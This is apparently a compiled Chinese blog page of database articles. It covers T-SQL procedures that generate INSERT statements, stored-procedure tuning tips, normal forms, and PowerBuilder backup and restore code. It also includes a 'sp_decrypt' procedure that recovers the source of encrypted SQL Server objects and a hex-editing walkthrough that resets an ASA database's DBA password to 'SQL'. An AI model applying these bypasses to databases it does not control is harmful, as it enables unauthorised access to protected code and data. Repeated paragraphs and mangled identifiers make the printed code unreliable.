                       then ‘case when ‘+ name +’ is null then ”NULL” else ‘+””””’ + ‘ + ‘cast(replace(‘+ name+’,””””,””””””) as Char(‘ + cast(length as varchar)  + ‘))+””””’+’ end’

                  when xtype in (239)

                       then ‘case when ‘+ name +’ is null then ”NULL” else ‘+”’N””” + ‘ + ‘cast(replace(‘+ name+’,””””,””””””) as Char(‘ + cast(length as varchar)  + ‘))+””””’+’ end’

                  else ”’NULL”’

                end as Cols,name

           from syscolumns  

          where id = o b j e c t_id(@tablename)

        ) T

  set @sql =’select ”INSERT INTO ['+ @tablename + ']‘ + left(@sql,len(@sql)-1)+’) ‘ + left(@sqlValues,len(@sqlValues)-4) + ‘)” from ‘+@tablename

  –print @sql

  exec (@sql)

end



GO







– ======================================================

–根据表中数据生成insert语句的存储过程

–建立存储过程,执行 proc_insert 表名

–感谢Sky_blue

– ======================================================



CREATE proc proc_insert (@tablename varchar(256))

as

begin

       set nocount on

       declare @sqlstr varchar(4000)

       declare @sqlstr1 varchar(4000)

       declare @sqlstr2 varchar(4000)

       select @sqlstr=’select ”insert ‘+@tablename

       select @sqlstr1=”

       select @sqlstr2=’ (‘

       select @sqlstr1= ‘ values ( ”+’

       select @sqlstr1=@sqlstr1+col+’+”,”+’ ,@sqlstr2=@sqlstr2+name +’,’ from (select case

–     when a.xtype =173 then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(‘+convert(varchar(4),a.length*2+2)+’),’+a.name +’)'+’ end’

       when a.xtype =104 then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(1),’+a.name +’)'+’ end’

       when a.xtype =175 then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+””””’+'+’replace(‘+a.name+’,””””,””””””)’ + ‘+””””’+’ end’

       when a.xtype =61  then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+””””’+'+’convert(varchar(23),’+a.name +’,121)’+ ‘+””””’+’ end’

       when a.xtype =106 then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(‘+convert(varchar(4),a.xprec+2)+’),’+a.name +’)'+’ end’

       when a.xtype =62  then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(23),’+a.name +’,2)’+’ end’

       when a.xtype =56  then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(11),’+a.name +’)'+’ end’

       when a.xtype =60  then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(22),’+a.name +’)'+’ end’

       when a.xtype =239 then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+””””’+'+’replace(‘+a.name+’,””””,””””””)’ + ‘+””””’+’ end’

       when a.xtype =108 then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(‘+convert(varchar(4),a.xprec+2)+’),’+a.name +’)'+’ end’

       when a.xtype =231 then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+””””’+'+’replace(‘+a.name+’,””””,””””””)’ + ‘+””””’+’ end’

       when a.xtype =59  then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(23),’+a.name +’,2)’+’ end’

       when a.xtype =58  then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+””””’+'+’convert(varchar(23),’+a.name +’,121)’+ ‘+””””’+’ end’

       when a.xtype =52  then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(12),’+a.name +’)'+’ end’

       when a.xtype =122 then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(22),’+a.name +’)'+’ end’

       when a.xtype =48  then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(6),’+a.name +’)'+’ end’

–     when a.xtype =165 then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+’convert(varchar(‘+convert(varchar(4),a.length*2+2)+’),’+a.name +’)'+’ end’

       when a.xtype =167 then ‘case when ‘+a.name+’ is null then ”NULL” else ‘+””””’+'+’replace(‘+a.name+’,””””,””””””)’ + ‘+””””’+’ end’

       else ”’NULL”’

       end as col,a.colid,a.name

       from syscolumns a where a.id = o b j e c t_id(@tablename) and a.xtype <>189 and a.xtype <>34 and a.xtype <>35 and  a.xtype <>36

       )t order by colid

      

       select @sqlstr=@sqlstr+left(@sqlstr2,len(@sqlstr2)-1)+’) ‘+left(@sqlstr1,len(@sqlstr1)-3)+’)” from ‘+@tablename

–  print @sqlstr

       exec( @sqlstr)

       set nocount off

end

GO


Stored Procedure(存储过程)编写经验和优化措施

一、前言:在经过一段时间的存储过程开发之后,写下了一些开发时候的小结和经验与大家共享,希望对大家有益,主要是针对Sybase和SQL Server数据库,但其它数据库应该有一些共性。

二、适合读者对象:数据库开发程序员,数据库的数据量很多,涉及到对SP(存储过程)的优化的项目开发人员,对数据库有浓厚兴趣的人。

三、介绍:在数据库的开发过程中,经常会遇到复杂的业务逻辑和对数据库的操作,这个时候就会用SP来封装数据库操作。如果项目的SP较多,书写又没有一定的规范,将会影响以后的系统维护困难和大SP逻辑的难以理解,另外如果数据库的数据量大或者项目对SP的性能要求很,就会遇到优化的问题,否则速度有可能很慢,经过亲身经验,一个经过优化过的SP要比一个性能差的SP的效率甚至高几百倍。

四、内容:
1、开发人员如果用到其他库的Table或View,务必在当前库中建立View来实现跨库操作,最好不要直接使用“databse.dbo.table_name”,因为sp_depends不能显示出该SP所使用的跨库table或view,不方便校验。
2、开发人员在提交SP前,必须已经使用set showplan on分析过查询计划,做过自身的查      询优化检查。
3、高程序运行效率,优化应用程序,在SP编写过程中应该注意以下几点:
a) SQL的使用规范:
    i.尽量避免大事务操作,慎用holdlock子句,提高系统并发能力。
    ii.尽量避免反复访问同一张或几张表,尤其是数据量较大的表,可以考虑先根据条件提取数据到临时表中,然后再做连接。
    iii.尽量避免使用游标,因为游标的效率较差,如果游标操作的数据超过1万行,那么就应该改写;如果使用了游标,就要尽量避免在游标循环中再进行表连接的操作。
    iv.注意where字句写法,必须考虑语句顺序,应该根据索引顺序、范围大小来确定条件子句的前后顺序,尽可能的让字段顺序与索引顺序相一致,范围从大到小。
    v.不要在where子句中的“=”左边进行函数、算术运算或其他表达式运算,否则系统将可能无法正确使用索引。
    vi.尽量使用exists代替select count(1)来判断是否存在记录,count函数只有在统计表中所有行数时使用,而且count(1)比count(*)更有效率。
    vii.尽量使用“>=”,不要使用“>”。
    viii.注意一些or子句和union子句之间的替换
    ix.注意表之间连接的数据类型,避免不同类型数据之间的连接。
    x.注意存储过程中参数和数据类型的关系。
    xi.注意insert、update操作的数据量,防止与其他应用冲突。如果数据量超过200个数据页面(400k),那么系统将会进行锁升级,页级锁会升级成表级锁。
b)索引的使用规范:
    i.索引的创建要与应用结合考虑,建议大的OLTP表不要超过6个索引。
    ii.尽可能的使用索引字段作为查询条件,尤其是聚簇索引,必要时可以通过index index_name来强制指定索引
    iii.避免对大表查询时进行table scan,必要时考虑新建索引。
    iv.在使用索引字段作为条件时,如果该索引是联合索引,那么必须使用到该索引中的第一个字段作为条件时才能保证系统使用该索引,否则该索引将不会被使用。
    v.要注意索引的维护,周期性重建索引,重新编译存储过程。
c) tempdb的使用规范:
    i.尽量避免使用distinct、order by、group by、having、join、cumpute,因为这些语句会加重tempdb的负担。
    ii.避免频繁创建和删除临时表,减少系统表资源的消耗。
    iii.在新建临时表时,如果一次性插入数据量很大,那么可以使用select into代替create table,避免log,提高速度;如果数据量不大,为了缓和系统表的资源,建议先create table,然后insert。
    iv.如果临时表的数据量较大,需要建立索引,那么应该将创建临时表和建立索引的过程放在单独一个子存储过程中,这样才能保证系统能够很好的使用到该临时表的索引。
    v.如果使用到了临时表,在存储过程的最后务必将所有的临时表显式删除,先truncate table,然后drop table,这样可以避免系统表的较长时间锁定。
    vi.慎用大的临时表与其他大表的连接查询和修改,减低系统表负担,因为这种操作会在一条语句中多次使用tempdb的系统表。
d)合理的算法使用:
    根据上面已提到的SQL优化技术和ASE Tuning手册中的SQL优化内容,结合实际应用,采用多种算法进行比较,以获得消耗资源最少、效率最高的方法。具体可用ASE调优命令:set statistics io on, set statistics time on , set showplan on 等。


第一范式

对于表中的每一行,必须且仅仅有唯一的行值.在一行中的每一列仅有唯一的值并且具有原子性.

第二范式

第二范式要求非主键列是主键的子集,非主键列活动必须完全依赖整个主键。主键必须有唯一性的元素,一个主键可以由一个或更多的组成唯一值的列组成。一旦创建,主键无法改变,外键关联一个表的主键。主外键关联意味着一对多的关系.

第三范式

第三范式要求非主键列互不依赖.

第四范式

第四范式禁止主键列和非主键列一对多关系不受约束

第五范式

第五范式将表分割成尽可能小的块,为了排除在表中所有的冗余.



create  PROCEDURE sp_decrypt(@o b j e c tName varchar(50))
AS
begin
set nocount on
–CSDN:j9988 copyright:2004.01.05
–V3.1
–破解字节不受限制,适用于SQLSERVER2000存储过程,函数,视图,触发器
–发现有错,请E_MAIL:CSDNj9988@tom.com
begin tran
declare @o b j e c tname1 varchar(100),@orgvarbin varbinary(8000)
declare @sql1 nvarchar(4000),@sql2 varchar(8000),@sql3 nvarchar(4000),@sql4 nvarchar(4000)
DECLARE  @OrigSpText1 nvarchar(4000),  @OrigSpText2 nvarchar(4000) , @OrigSpText3 nvarchar(4000), @resultsp nvarchar(4000)
declare  @i int,@status int,@type varchar(10),@parentid int
declare @colid int,@n int,@q int,@j int,@k int,@encrypted int,@number int
select @type=xtype,@parentid=parent_obj from syso b j e c ts where id=o b j e c t_id(@ObjectName)

create table  #temp(number int,colid int,ctext varbinary(8000),encrypted int,status int)
insert #temp SELECT number,colid,ctext,encrypted,status FROM syscomments  WHERE id = o b j e c t_id(@o b j e c tName)
select @number=max(number) from #temp
set @k=0

while @k<=@number
begin
if exists(select 1 from syscomments where id=o b j e c t_id(@o b j e c tname) and number=@k)
begin
if @type=’P’
set @sql1=(case when @number>1 then ‘ALTER PROCEDURE ‘+ @o b j e c tName +’;'+rtrim(@k)+’ WITH ENCRYPTION AS ‘
                          else ‘ALTER PROCEDURE ‘+ @o b j e c tName+’ WITH ENCRYPTION AS ‘
                          end)

if @type=’TR’
set @sql1=’ALTER TRIGGER ‘+@o b j e c tname+’ ON ‘+OBJECT_NAME(@parentid)+’ WITH ENCRYPTION FOR INSERT AS PRINT 1 ‘

if @type=’FN’ or @type=’TF’ or @type=’IF’
set @sql1=(case @type when ‘TF’ then
‘ALTER FUNCTION ‘+ @o b j e c tName+’(@a char(1)) returns @b table(a varchar(10)) with encryption as begin insert @b select @a return end ‘
when ‘FN’ then
‘ALTER FUNCTION ‘+ @o b j e c tName+’(@a char(1)) returns char(1) with encryption as begin return @a end’
when ‘IF’ then
‘ALTER FUNCTION ‘+ @o b j e c tName+’(@a char(1)) returns table with encryption as return select @a as a’
end)

if @type=’V’
set @sql1=’ALTER VIEW ‘+@o b j e c tname+’ WITH ENCRYPTION AS SELECT 1 as f’

set @q=len(@sql1)
set @sql1=@sql1+REPLICATE(‘-’,4000-@q)
select @sql2=REPLICATE(‘-’,8000)
set @sql3=’exec(@sql1′
select @colid=max(colid) from #temp where number=@k
set @n=1
while @n<=CEILING(1.0*(@colid-1)/2) and len(@sQL3)<=3996
begin
set @sql3=@sql3+’+@’
set @n=@n+1
end
set @sql3=@sql3+’)’
exec sp_executesql @sql3,N’@Sql1 nvarchar(4000),@ varchar(8000)’,@sql1=@sql1,@=@sql2

end
set @k=@k+1
end

set @k=0
while @k<=@number
begin

if exists(select 1 from syscomments where id=o b j e c t_id(@o b j e c tname) and number=@k)
begin
select @colid=max(colid) from #temp where number=@k
set @n=1

while @n<=@colid
begin
select @OrigSpText1=ctext,@encrypted=encrypted,@status=status FROM #temp  WHERE colid=@n and number=@k

SET @OrigSpText3=(SELECT ctext FROM syscomments WHERE id=o b j e c t_id(@o b j e c tName) and colid=@n and number=@k)
if @n=1
begin
if @type=’P’
SET @OrigSpText2=(case when @number>1 then ‘CREATE PROCEDURE ‘+ @o b j e c tName +’;'+rtrim(@k)+’ WITH ENCRYPTION AS ‘
                       else ‘CREATE PROCEDURE ‘+ @o b j e c tName +’ WITH ENCRYPTION AS ‘
                       end)


if @type=’FN’ or @type=’TF’ or @type=’IF’–刚才有错改一下
SET @OrigSpText2=(case @type when ‘TF’ then
‘CREATE FUNCTION ‘+ @o b j e c tName+’(@a char(1)) returns @b table(a varchar(10)) with encryption as begin insert @b select @a return end ‘
when ‘FN’ then
‘CREATE FUNCTION ‘+ @o b j e c tName+’(@a char(1)) returns char(1) with encryption as begin return @a end’
when ‘IF’ then
‘CREATE FUNCTION ‘+ @o b j e c tName+’(@a char(1)) returns table with encryption as return select @a as a’
end)

if @type=’TR’
set @OrigSpText2=’CREATE TRIGGER ‘+@o b j e c tname+’ ON ‘+OBJECT_NAME(@parentid)+’ WITH ENCRYPTION FOR INSERT AS PRINT 1 ‘

if @type=’V’
set @OrigSpText2=’CREATE VIEW ‘+@o b j e c tname+’ WITH ENCRYPTION AS SELECT 1 as f’

set @q=4000-len(@OrigSpText2)
set @OrigSpText2=@OrigSpText2+REPLICATE(‘-’,@q)
end
else
begin
SET @OrigSpText2=REPLICATE(‘-’, 4000)
end
SET @i=1

SET @resultsp = replicate(N’A', (datalength(@OrigSpText1) / 2))

WHILE @i<=datalength(@OrigSpText1)/2
BEGIN

SET @resultsp = stuff(@resultsp, @i, 1, NCHAR(UNICODE(substring(@OrigSpText1, @i, 1)) ^
                                (UNICODE(substring(@OrigSpText2, @i, 1)) ^
                                UNICODE(substring(@OrigSpText3, @i, 1)))))
SET @i=@i+1
END
set @orgvarbin=cast(@OrigSpText1 as varbinary(8000))
set @resultsp=(case when @encrypted=1
                    then @resultsp
                    else convert(nvarchar(4000),case when @status&2=2 then uncompress(@orgvarbin) else @orgvarbin end)
               end)
print @resultsp

set @n=@n+1

end

end
set @k=@k+1
end

drop table #temp
rollback tran
end



张涛  2003-6-28  来源:摆渡人工作室

使用PowerBuilder开发信息管理系统时,许多开发人员喜欢选择使用Adaptive Server Anywhere(ASA6.0或者ASA7.0)作为本地数据库(当然ASA也是可以作为服务器数据库的)。这种数据库具有大型数据库的特点,例如完善的管理工具支持(Sybase Central)、触发器、存贮过程的支持、用户权限管理等。还有一个优点就是安装、移植比较方便,它的数据库只有两个文件:一个DB文件,用于保存对象定义以及数据;一个LOG文件,用于保存日志。所以倍受开发人员的喜爱。

但是,如果不注意,它存在安全隐患,正是由于数据库采用单独的一个文件进行维护的,所以超级用户的口令等信息业保存在这个数据库文件中,所以采用如下方法很容易将超级用户的口令修改成缺省的“SQL”。

使用Sybase Central中的ASA工具“Create Database”创建一个新的数据库,取名为“TEST.DB”。然后使用UltraEdit等二进制编辑工具打开这个文件,通过查找“DBA”(二进制使用“44 42 41”),定位到底一个位置,注意观察这个区域,前面一般有“dbo”、“PUBLIC”,后面有“SYS”。这个区域就是ASA保存用户口令的数据段。记录下“SYS”之前四个空字符“00 00 00 00”之前到“44 42 21”之间的所有二进制数据,这些数据就代表口令“SQL”。如图1所示,图中蓝色部分就是缺省口令“SQL”的存储区域。


此主题相关图片如下:
按此在新窗口浏览图片

但是,如果不注意,它存在安全隐患,正是由于数据库采用单独的一个文件进行维护的,所以超级用户的口令等信息业保存在这个数据库文件中,所以采用如下方法很容易将超级用户的口令修改成缺省的“SQL”。

使用Sybase Central中的ASA工具“Create Database”创建一个新的数据库,取名为“TEST.DB”。然后使用UltraEdit等二进制编辑工具打开这个文件,通过查找“DBA”(二进制使用“44 42 41”),定位到底一个位置,注意观察这个区域,前面一般有“dbo”、“PUBLIC”,后面有“SYS”。这个区域就是ASA保存用户口令的数据段。记录下“SYS”之前四个空字符“00 00 00 00”之前到“44 42 21”之间的所有二进制数据,这些数据就代表口令“SQL”。如图1所示,图中蓝色部分就是缺省口令“SQL”的存储区域。


此主题相关图片如下:
按此在新窗口浏览图片

然后再打开要破解口令的数据库的DB文件,例如“Testnew.db”文件,同样通过查找定位到“DBA”口令存储区域,如图2所示。


此主题相关图片如下:
按此在新窗口浏览图片

然后将图2中的口令存放区域的数据改成图1中相应的数据,注意替换时,不要使用非二进制方式的复制与粘贴,应该在非二进制方式时,“00”的空数据会被修改成空格“20”,这样就不能成功。修改之前还要将DB文件的只读属性清除。修改后保存即可。p>   这样在你不知道原来的数据库的DBA口令的情况下,你就可以将它修改成“SQL”了,这样就轻松破解了ASA的DBA口令了。如果他删除了DBA这个用户,你可以找找别的用户试试!

[电脑报 原作者:王启文]
2004年11月8日 第44期

Adaptive Server Anywhere(本文中简称ASA) 是PowerBuilder(本文中简称PB)自带的数据库管理系统,可作为小型应用系统的数据库服务器。而数据库的备份/恢复是一项基本的工作,要想用短短几分钟就完成这类程序的编写,能做到吗?本文就将为大家介绍一个用PB编写的ASA备份/恢复程序,只需很短的时间,就可以编制完成并运用在以ASA作为数据环境的小型应用上。

一 备份程序

先来看看备份程序部分的写法。在窗体上建一文本框 sle_1,用来显示备份的文件名,并添加两个按钮:cb_1(浏览)、cb_2(备份)。相应的事件代码如下:

//cb_1.clicked()

string fname,name

GetfileSaveName(‘保存’,fname,name,“db”,’数据库备份文件(*.1),*.1′)

sle_1.text=fname

//cb_2.clicked()

string mysql,bfname

bfname=trim(sle_1.text)

bfname=left(bfname,len(bfname)-2)

mysql=“BACKUP DATABASE TO ‘”+bfname+“’”

execute immediate :Mysql USING SQLCA;//运用SQL语句立刻执行备份

if sqlca.sqlcode=0 then

messagebox(“信息提示”,’备份成功!’,information!,OK!)//给出备份成功与否的相关信息

else

messagebox(“信息提示”,’备份失败!’,information!,OK!)

end if

二 恢复程序

再来看看恢复数据库程序的编写。在窗体上建一文本框 sle_1,显示用来恢复的备份文件名,并添加两个按钮:cb_1(查找)、cb_2(恢复)。声明一个修改文件属性的API函数:

FUNCTION ulong SetFileAttributes(ref string lpFileName,ulong dwFileAttributes) LIBRARY “kernel32.dll” ALIAS FOR “SetFileAttributesA”

相应的事件代码如下:

//cb_1.clicked()

string fname,name

GetfileOPenName(‘查找’,fname,name,“1”,“数据库备份文件(*.1),*.1”)

sle_1.text=fname

//cb_2.clicked()

string mysql,bfname,gzname

ulong sxz=32,kb //sxz为文件的属性值,32表示可读写

boolean tmp

bfname=trim(sle_1.text)

bfname=left(bfname,len(bfname)-2)

// d:\slgz 为示例中数据库文件所在目录,tmp.db为临时的数据库文件

mysql=“RESTORE DATABASE ‘d:\slgz\tmp.db’ FROM ‘”+bfname+“’”

execute immediate :Mysql USING SQLCA;//同样是运用SQL语句来立刻执行恢复数据库的工作

if sqlca.sqlcode<>0 then

messagebox(“信息提示”,’数据恢复失败!’,information!,OK!)

return

end if

disconnect; //断开数据库连接

gzname=’d:\slgz\gz.db’ //包含路径的数据库文件

SetFileAttributes(gzname,sxz) // 去掉只读属性

tmp=filedelete(‘d:\slgz\gz.db’) //删除恢复前的数据库

if tmp=false then

messagebox(“信息提示”,’备份失败!’,information!,OK!)

return

end if

//将临时的数据库复制到当前的数据库文件上

bfname=“d:\slgz\tmp.db”

gzname=“d:\slgz\gz.db”

kb=filecopy(bfname,gzname,true )

if kb=1 then

messagebox(“信息提示”,’数据库恢复成功!’,information!,OK!)

else

messagebox(“信息提示”,’数据库复制失败!’,information!,OK!)

return

end if

filedelete(‘d:\slgz\tmp.db’) //删除临时的数据库文件

connect;

三 小结

程序备份和恢复的实现都只是调用了SQL内置的功能来实现,使程序显得相对简洁。功能虽然比较单一和简单,却也能满足数据库的备份和恢复的工作需求,在要求不高的应用场合可为数据库管理人员节约大量精力。上述程序在 PB 9.0中调试通过。